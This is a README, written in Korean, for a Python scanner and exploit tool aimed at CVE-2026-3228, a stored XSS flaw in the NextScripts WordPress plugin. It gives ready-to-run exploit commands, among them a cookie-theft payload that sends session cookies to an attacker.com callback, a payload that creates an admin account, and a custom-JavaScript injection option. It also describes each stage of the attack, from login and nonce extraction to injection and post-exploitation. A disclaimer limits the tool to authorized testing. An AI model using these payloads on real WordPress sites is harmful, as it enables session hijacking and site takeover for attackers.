
CVE-2026-3228을 스캔하고 악용하는 도구로, NextScripts WordPress 플러그인의 저장형 XSS 취약점을 대상으로 하며, 사전 인증 탐지, 인증된 검사, PoC·쿠키 탈취·관리자 생성용 페이로드 주입 기능을 제공합니다.
CVE-2026-3228 - NextScripts WordPress 플러그인 저장형 XSS 스캐너 및 익스플로잇
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
작성자: NULL200OK
CVE-2026-3228을 스캔하고 익스플로잇하기 위한 종합적인 Python 도구로, NextScripts: Social Networks Auto-Poster WordPress 플러그인(버전 ≤ 4.4.6)의 저장형 교차 사이트 스크립팅(XSS) 취약점입니다.
이 취약점은 Contributor 이상의 권한을 가진 인증된 사용자가 [nxs_fbembed] 숏코드를 통해 임의의 JavaScript를 주입할 수 있게 합니다. 관리자가 감염된 게시물을 열람하면 스크립트가 해당 브라우저에서 실행되어 세션 하이재킹, 관리자 계정 생성 또는 사이트 손상으로 이어질 수 있습니다.
📦 기능
info – 상세 CVE 정보 표시(설명, 근본 원인, 영향).
scan – 플러그인 및 버전 탐지를 위한 사전 인증 스캔.
check – 자격 증명을 사용한 종합 점검(로그인, 권한 확인, 버전 탐지).
exploit – 취약한 숏코드를 사용하여 새 게시물에 악성 XSS 페이로드 주입.
여러 페이로드 유형:
alert – 개념 증명용 간단한 알림 상자.
cookie – 세션 쿠키를 탈취하여 콜백 URL로 전송.
admin – 새 관리자 사용자 생성 시도(관리자가 페이지를 열람해야 함).
html – onerror 이벤트를 사용한 기본 HTML 주입.
custom – 사용자 제공 JavaScript.
all – 모든 페이로드 유형을 별도의 게시물에 주입.
자동 인증 – WordPress 로그인, 세션 관리 및 nonce 추출 처리.
대체 주입 방법 – 먼저 REST API를 시도한 후 기존 양식 제출로 대체.
사용자 친화적 출력 – 색상으로 구분된 상태 메시지와 명확한 단계별 안내.
🚨 취약점 개요
CVE ID: CVE-2026-3228
CVSS 점수: 6.4 (중간)
영향받는 플러그인: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
근본 원인:
snapFB 게시물 메타 값의 불충분한 입력 검증.
[nxs_fbembed] 숏코드 렌더링 시 불충분한 출력 이스케이프.
필요 권한: Contributor 수준 계정 이상.
영향: 공격자는 감염된 게시물을 열람하는 모든 사용자(관리자 포함)의 컨텍스트에서 임의의 JavaScript를 실행하여 사이트 전체를 손상시킬 수 있습니다.
⚙️ 요구 사항
Python 3.6+
requests
beautifulsoup4
의존성 설치:
bash
pip install requests beautifulsoup4
🔧 설치
bash
cd CVE-2026-3228
📚 사용법
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - NextScripts WordPress 플러그인 저장형 XSS 스캐너 및 익스플로잇
positional arguments:
{info,scan,check,exploit}
info CVE에 대한 상세 정보 표시
scan 대상이 취약한지 확인 (사전 인증)
check 자격 증명을 사용한 종합 점검
exploit 취약점 익스플로잇 (유효한 자격 증명 필요)
optional arguments:
-h, --help 도움말 메시지 표시 후 종료
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
기본 알림 페이로드 (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
쿠키 탈취 (리스너 필요)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
관리자 사용자 생성 시도 (관리자가 페이지를 열람할 때)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
모든 페이로드 유형 주입
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
사용자 지정 JavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 작동 방식 (단계별)
인증 – 스크립트는 제공된 자격 증명을 사용하여 WordPress에 로그인하고 세션을 유지합니다.
권한 확인 – 로그인한 사용자가 최소 Contributor 수준 액세스 권한(게시물 생성에 필요)을 보유했는지 확인합니다.
페이로드 생성 – 선택한 유형에 따라 JavaScript 페이로드를 생성합니다.
주입 – 취약한 [nxs_fbembed] 숏코드가 포함된 새 게시물을 생성합니다. 악성 스크립트는 플러그인이 제대로 검증하지 않는 snapFB 게시물 메타 필드에 배치됩니다.
저장 – 게시물이 발행(또는 임시글로 저장)되고 페이로드가 데이터베이스에 저장됩니다.
트리거 – 관리자(또는 모든 사용자)가 게시물을 열람하면 검증되지 않은 스크립트가 렌더링되어 해당 브라우저에서 실행됩니다.
사후 익스플로잇 – 페이로드에 따라 공격자는 쿠키를 탈취하거나, 관리자 계정을 생성하거나, 기타 작업을 수행할 수 있습니다.
스크립트는 먼저 WordPress REST API를 통해 주입을 시도합니다(더 빠르고 깔끔함). 실패하면 게시물 편집기 페이지에서 필요한 nonce를 추출하여 기존 양식 제출 방식으로 대체합니다.
⚠️ 면책 조항
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자(NULL200OK)는 어떠한 책임도 지지 않으며 이 스크립트로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
📄 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE 파일을 참조하세요.
📬 참고 자료
MITRE CVE‑2026‑3228 (플레이스홀더)
WordPress 플러그인 디렉터리
OWASP 저장형 XSS